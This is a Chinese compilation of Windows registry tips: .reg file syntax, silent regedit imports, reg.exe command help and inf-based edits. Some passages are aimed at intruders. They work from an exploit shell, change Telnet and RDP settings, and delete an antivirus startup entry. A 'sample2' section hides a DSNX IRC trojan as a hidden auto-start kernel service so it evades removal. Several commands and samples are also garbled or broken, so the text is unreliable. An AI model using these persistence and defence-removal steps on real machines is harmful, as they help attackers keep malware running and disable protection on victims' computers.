删除注册表中的项
WindowsRegistry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
保存为reg文件双击导如即可删除此项
注意有个“-”号
删除注册表中的值
WindowsRegistry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SoundMan"=-
这样可以删除此值
服务的启动/禁用
类型对应注册表[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services]
下的各个子项
服务名字下的start键表示启动类型
1是系统
2是自动
3是手动
4是禁用
ps:必要的时候需要强行终止进程
XPPRo下可以选择taskkill命令,可以在命令行通过 taskkill /?查看详细帮助
e.g.终止记事本: taskkill /IM notepad.exe /F
/F的意思是强制终止
Home版本下面没有taskkill命令,只有tskill命令,功能会若
e.g.终止记事本: tskill notepad
.bat文件内容示例:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
/v 注册表 /t reg_sz /dc:\windows\system32\regedit.exe
说明:该命令将在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加一个名为注册表的字符串,其值=C:\windows\system32\regedit.exe
功能:开机自动打开注册表
注意:reg 那句要写在一行,这里由于显示位置受到限制,看起来是两行,实际是在一行内。
另外,用这种方式操作注册表要十分小心,错误操作将导致灾难性的后果。
在批处理中使用指令"regedit /s文件名.reg"就可以了。
这里/s参数是安静方式。
例:当我们要在开机运行当中添加一个程序名字叫test.exe位于windows目录下我们就要做如下的操作:
首先用记事本编辑注册表文件,输入如下内容
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"TEST"="c:\windows\test.exe"
输入完毕之后将文件保存为 1.reg。这样当我们输入指令
regedit /s 1.reg 的时候就会在注册表内添加一个TEST值。
如果我们要删除刚才添加的注册表内容可以将1.reg文件的内容改为
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"TEST"=-
这里这个“-”减号代表删除的意思
另:删除注册表中的项
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
注意这里“-” 减号的位置
=========================================
你的bat文件的内容就是
regedit /s 1.reg
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用好在系统自带的regedit.exe足够用了。
1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"
C:\>type 1.reg |find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:
echo WindowsRegistry Editor Version 5.00 >1.reg
echo. >>1.reg
echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo"TelnetPort"=dword:00000913 >>1.reg
echo"NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:
[Version]
Signature="$WINDOWSNT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”:
rundll32.exesetupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。
如何用批处理修改注册表方法二则
禁止使用命令提示符程序和批处理文件
Windows 2000/XP下的命令提示符(即CMD.exe程序)相当于Windows 98下的MS-DOS程序。出于系统本身安全考虑,应防止非法用户在命令提示符下或是利用批处理文件(BAT文件)对计算机进行破坏,这可通过修改注册表来实现。
选择【开始】→【运行】命令,在【运行】对话框的【打开】文本框中输入“regedit.exe”,单击【确定】按钮,运行注册表编辑器,依次打开以下键:
HKEY_CURRENT_USER\Software\Policies\Microsoft\System
在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。
示例:
echoREGEDIT4>iedown.reg
echo[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3]>>iedown.reg
echo"1803"=dword:00000000>>iedown.reg
以上生成REG文件.
regedit /siedown.reg
del iedown.reg
运行REG后删除之.
还可以:写一个注册表文件,放在一个位置..
然后批处理导入:
@echo off
regedit /s 注册表文件路径
exit
说明:/s是不弹出确认提示直接导入
先学习一下如何使用.REG文件来操
作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows RegistryEditor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows RegistryEditor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows RegistryEditor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows RegistryEditor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry EditorVersion 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo WindowsRegistry Editor Version 5.00>>Sample.reg
@echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo"Invader"="Ex4rch">>Sample.reg
@echo"door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo"Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@startwindrv32.exe
@attrib +h +rwindrv32.exe
@echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>patch.dll
@echo"windsnx "=- >>patch.dll
@sc.exe createWindriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /spatch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全.
怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?
REG DELETE KeyName[/v ValueName | /ve | /va] [/f]
KeyName[\\Machine\]FullKey
Machine 远程机器名 - 忽略当前机器的默认值。
远程机器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM |HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名。
ValueName 所选项下的要删除的值的名称。
省略时,该项下的所有子项和值都会被删除。
/ve 删除空白值名称的值(默认)。
/va 删除该项下的所有值。
/f 不用提示就强行删除。
例如:
REG DELETEHKLM\Software\MyCo\MyApp\Timeout
删除注册表项 Timeout 及其所有子项和值
REG DELETE\\ZODIAC\HKLM\Software\MyCo /v MTU
删除 ZODIAC 上 MyCo 下的注册表项 MTU
regedit.exe的参数
filename 导入 .reg 文件进注册表
/s 导入 .reg 文件进注册表(安静模式)
/e 导出注册表文件
例:regedit /e filename.regHKEY_LOCAL_MACHINE\SYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
隐藏导入注册表信息用regedit /s 即可
在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。
语法:Regedit[/L:system][/R:user]filename1
Regedit[/L:system][/R:user]/Cfilename2
Regedit[/L:system][/R:user]/Efilename3[regpath]
其中:
/L:system指定system.dat文件的存放位置。
/L:user指定user.dat文件的存放位置。
filename1指定引入注册表数据库的文件名。
/Cfilename2指定形成注册表数据库的文件名。
/Efilename3指定导出注册表文件的文件名。
regpath指定导出注册表文件的开始关键字(缺省为全部关键字)
现举几个例子说明regedit.exe在DOS下的使用方法。
【例1】将系统注册表数据库registry导出到reg1.reg文件中。
regedit/Ereg1.reg
【例2】reg1.reg形成系统注册表数据库registry(全部)中。
regedit/Creg1.reg
【例3】将reg.dat引入系统注册表数据库中(部分)。
regeditreg.dat
【例4】将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。
regedit/Ecjh.regcjh
【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。
regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat
有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。
我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令:
regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile
然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令:
regedittxt.reg
XP上新加的注册表操作命令
ADD
REG ADD KeyName [/v ValueName | /ve] [/tType] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
远程机器的机器名 - 忽略默认到当前机器。
远程机器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名
/v 所选项之下要添加的值名
/ve 为注册表项添加空白值名<无名称>
/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ |REG_DWORD_BIG_ENDIAN
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
如果忽略,则采用REG_SZ
/s 指定一个在REG_MULTI_SZ 数据字符串中
用作分隔符的字符
如果忽略,则将"\0" 用作分隔符
/d 要分配给添加的注册表ValueName 的数据
/f 不用提示就强行改写现有注册表项
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /tREG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据:fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /tREG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0
COMPARE
REG COMPARE KeyName1 KeyName2 [/vValueName | /ve] [Output] [/s]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 省略当前机器的默认值
远程机器上只有HKLM 和 HKU
FullKey ROOTKEY\SubKey
如果没有指定FullKey2,FullKey2 则跟 FullKey1相同
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
ValueName 所选注册表项下的要比较的值的名称
省略时,该项下的所有值都会得到比较
/ve 比较空白值
/s 比较所有子项和值
Output [/oa | /od | /os | /on]
省略时,只显示不同的结果
/oa 显示所有不同和匹配结果
/od 只显示不同的结果
/os 只显示匹配结果
/on 不显示结果
返回代码:
0 - 成功,比较的结果相同
1 - 失败
2 - 成功,比较的结果不同
例如:
REG COMPARE HKLM\Software\MyCo\MyAppHKLM\Software\MyCo\SaveMyApp
将注册表项 MyApp下的所有值跟 SaveMyApp 比较
REG COMPARE HKLM\Software\MyCo HKLM
COPY
REG COPY KeyName1 KeyName2 [/s] [/f]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略当前机器的默认值
远程机器上只有HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
/s 复制所有子项和值
/f 不用提示就强行复制
例如:
REG COPY HKLM\Software\MyCo\MyAppHKLM\Software\MyCo\SaveMyApp /s
将注册表项 MyApp下的所有子项和值复制到注册表项 SaveMyApp
REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM
DELETE
REG DELETE KeyName [/v ValueName | /ve |/va] [/f]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略当前机器的默认值
远程机器上只有HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
ValueName 所选项下的要删除的值的名称
省略时,该项下的所有子项和值都会被删除
/ve 删除空白值名称
/va 删除该项下的所有值
/f 不用提示就强行删除
例如:
REG DELETEHKLM\Software\MyCo\MyApp\Timeout
删除注册表项 T
LOAD
REG LOAD KeyName FileName
KeyName ROOTKEY\SubKey (只是本地机器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要将配置单元文件加载进的注册表项名称。创建一个新的注册表项
FileName 要加载的配置单元文件名
您必须使用 REGSAVE 来创建这个文件
QUERY
REG QUERY KeyName [/v ValueName | /ve][/s]
KeyName [\Machine\]FullKey
Machine 远程机器名 - 忽略当前机器的默认值
远程机器上只有HKLM 和 HKU
FullKey 格式为 ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
/v 查询特定注册表项
ValueName 所选项下的要查询的值的名称
省略时,该项下的所有值都会得到查询
/ve 查询默认值或空白值名称
/s 查询所有子项和值
RESTORE
REG RESTORE KeyName FileName
KeyName ROOTKEY\SubKey (只是本地机器)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 要将配置单元文件还原到的注册表项全名。
改写现有项的值和子项
FileName 要还原的配置单元文件名
您必须使用 REGSAVE 来创建这个文件
SAVE
REG SAVE KeyName FileName
KeyName ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
FileName 要保存的磁盘文件名。如果没有指定路径,
文件会在调用进程的当前文件夹中得到创建
UNLOAD
REG UNLOAD KeyName
KeyName ROOTKEY\SubKey (只是本地机器的)
ROOTKEY [ HKLM | HKU ]
SubKey 要卸载的配置单元的注册表项名称
reg add "项" /v(value的缩写) 值/t(type) reg_dword(默认是eg_sz)/d(data的缩写) "要插入的数据值"/f(forbiden的缩写,即强制的意思)
例如
reg add"HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword/d 1 /f
这句命令就是往你的注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session
这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1
/f 表示在运行如果注册表里已经有这个值也不会提示你,直接修改,
如果没有这个参数的话,它会提示你是不是要修改